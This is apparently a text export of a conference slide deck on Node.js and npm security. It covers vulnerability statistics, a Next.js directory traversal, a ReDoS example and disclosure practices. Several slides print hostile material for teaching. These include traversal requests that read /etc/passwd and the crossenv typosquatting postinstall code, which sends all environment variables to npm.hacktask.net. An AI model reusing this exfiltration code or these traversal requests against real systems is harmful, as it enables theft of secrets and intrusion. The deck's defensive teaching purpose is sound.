Slide 1

Slide 1 text

THE STATE OF NODE SECURITY Tim Kadlec @tkadlec

Slide 2

Slide 2 text

No content

Slide 3

Slide 3 text

IF YOU CONNECT IT TO THE INTERNET, SOMEONE WILL TRY TO HACK IT. Brian Krebs

Slide 4

Slide 4 text

https:/ /bit.ly/cloudpets

Slide 5

Slide 5 text

bind_ip = 127.0.0.1

Slide 6

Slide 6 text

SECURE BY DEFAULT

Slide 7

Slide 7 text

No content

Slide 8

Slide 8 text

No content

Slide 9

Slide 9 text

THE ENEMY IS OUT THERE. Kim Crayton

Slide 10

Slide 10 text

No content

Slide 11

Slide 11 text

http:/ /bit.ly/node-sou

Slide 12

Slide 12 text

156,000 Package authors

Slide 13

Slide 13 text

9 MILLION Different Users

Slide 14

Slide 14 text

https:/ /bit.ly/npm-2fa

Slide 15

Slide 15 text

526 Published Vulns in 2017
 (So Far)

Slide 16

Slide 16 text

66% High Severity 32% Medium Severity 2% Low Severity

Slide 17

Slide 17 text

1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site Scripting (XSS) 4 Malicious Packages 5 Regular Expression Denial of Service

Slide 18

Slide 18 text

https:/ /bit.ly/next-vuln

Slide 19

Slide 19 text

/_next /static

Slide 20

Slide 20 text

defineRoutes () { const routes = { /* ... */ '/_next/:path+': async (req, res, params) => { const p = join(__dirname, '..', 'client', ...(params.path || [])) await this.serveStatic(req, res, p) }, '/static/:path+': async (req, res, params) => { const p = join(this.dir, 'static', ...(params.path || [])) await this.serveStatic(req, res, p) } /* ... */ } }

Slide 21

Slide 21 text

defineRoutes () { const routes = { /* ... */ '/_next/:path+': async (req, res, params) => { const p = join(__dirname, '..', 'client', ...(params.path || [])) await this.serveStatic(req, res, p) }, '/static/:path+': async (req, res, params) => { const p = join(this.dir, 'static', ...(params.path || [])) await this.serveStatic(req, res, p) } /* ... */ } }

Slide 22

Slide 22 text

defineRoutes () { const routes = { /* ... */ '/_next/:path+': async (req, res, params) => { const p = join(__dirname, '..', 'client', ...(params.path || [])) await this.serveStatic(req, res, p) }, '/static/:path+': async (req, res, params) => { const p = join(this.dir, 'static', ...(params.path || [])) await this.serveStatic(req, res, p) } /* ... */ } }

Slide 23

Slide 23 text

export function serveStatic (req, res, path) { return new Promise((resolve, reject) => { send(req, path) .on('directory', () => { err.code = 'ENOENT' reject(err) }) .on('error', reject) .pipe(res) .on('finish', resolve) }) }

Slide 24

Slide 24 text

GET /_next/../../../../../../../../../etc/passwd HTTP/1.1 GET /_next\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1

Slide 25

Slide 25 text

isServeableUrl (path) { const resolved = resolve(path) if ( resolved.indexOf(join(this.dir, this.dist) + sep) !== 0 && resolved.indexOf(join(this.dir, 'static') + sep) !== 0 ) { // Seems like the user is trying to traverse the filesystem. return false } return true }

Slide 26

Slide 26 text

https:/ /bit.ly/next-fix

Slide 27

Slide 27 text

1 Directory Traversal 2 Resources over Insecure Protocol

Slide 28

Slide 28 text

curl -ocurl-7.34.0.tar.gz http://curl.haxx.se/download/curl-7.34.0.tar.gz

Slide 29

Slide 29 text

1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site Scripting (XSS)

Slide 30

Slide 30 text

http:/ /bit.ly/angular-xss

Slide 31

Slide 31 text

var uriAttrs = toMap("background,cite,href,longdesc,src,xlink:href");

Slide 32

Slide 32 text

Slide 33

Slide 33 text

1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site Scripting (XSS) 4 Malicious Packages

Slide 34

Slide 34 text

https:/ /bit.ly/malicious-npm

Slide 35

Slide 35 text

TYPOSQUATTING

Slide 36

Slide 36 text

No content

Slide 37

Slide 37 text

{ "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }

Slide 38

Slide 38 text

{ "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }

Slide 39

Slide 39 text

const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();

Slide 40

Slide 40 text

const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();

Slide 41

Slide 41 text

const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();

Slide 42

Slide 42 text

https:/ /bit.ly/npm-crossenv

Slide 43

Slide 43 text

1 Directory Traversal 2 Resources over Insecure Protocol 3 Cross-Site Scripting (XSS) 4 Malicious Packages 5 Regular Expression Denial of Service

Slide 44

Slide 44 text

var regex = /A(B|C+)+D/;

Slide 45

Slide 45 text

var regex = /A(B|C+)+D/; A

Slide 46

Slide 46 text

var regex = /A(B|C+)+D/; (B|C+)

Slide 47

Slide 47 text

var regex = /A(B|C+)+D/; +

Slide 48

Slide 48 text

var regex = /A(B|C+)+D/; D

Slide 49

Slide 49 text

var regex = /A(B|C+)+D/; ABBD ABCCCCD ABCBCCCD ACCCCCD

Slide 50

Slide 50 text

No content

Slide 51

Slide 51 text

No content

Slide 52

Slide 52 text

No content

Slide 53

Slide 53 text

No content

Slide 54

Slide 54 text

ACCCX CCC CC+C C+CC C+C+C var regex = /A(B|C+)+D/;

Slide 55

Slide 55 text

String Number of C’s Number of Steps ACCCX 3 38 ACCCCX 4 71 ACCCCCX 5 136 ACCCCCCCCCCCCCCX 14 65,553

Slide 56

Slide 56 text

http:/ /bit.ly/safe-regex

Slide 57

Slide 57 text

https:/ /bit.ly/redos-help

Slide 58

Slide 58 text

Time Risk

Slide 59

Slide 59 text

Vulnerability discovered Time Risk

Slide 60

Slide 60 text

Vulnerability discovered Vulnerability announced Time Risk

Slide 61

Slide 61 text

Vulnerability discovered Vulnerability announced Vulnerability patched Time Risk

Slide 62

Slide 62 text

Vulnerability discovered Vulnerability announced Vulnerability patched Users begin patching Time Risk

Slide 63

Slide 63 text

80% No Public Facing Disclosure Policy

Slide 64

Slide 64 text

https:/ /bit.ly/security-text

Slide 65

Slide 65 text

70% Release Notes

Slide 66

Slide 66 text

30% Deprecate the Version

Slide 67

Slide 67 text

3% Inform a Vulnerability Service

Slide 68

Slide 68 text

15% Say They Don’t Bump Dependency Versions

Slide 69

Slide 69 text

SILVER LINING

Slide 70

Slide 70 text

YOU

Slide 71

Slide 71 text

526 Published Vulns in 2017
 (So Far)

Slide 72

Slide 72 text

142 Different People & Organizations

Slide 73

Slide 73 text

https:/ /bit.ly/malicious-npm

Slide 74

Slide 74 text

NOT GREAT

Slide 75

Slide 75 text

NOT GREAT BUT FIXABLE

Slide 76

Slide 76 text

THANK YOU Tim Kadlec @tkadlec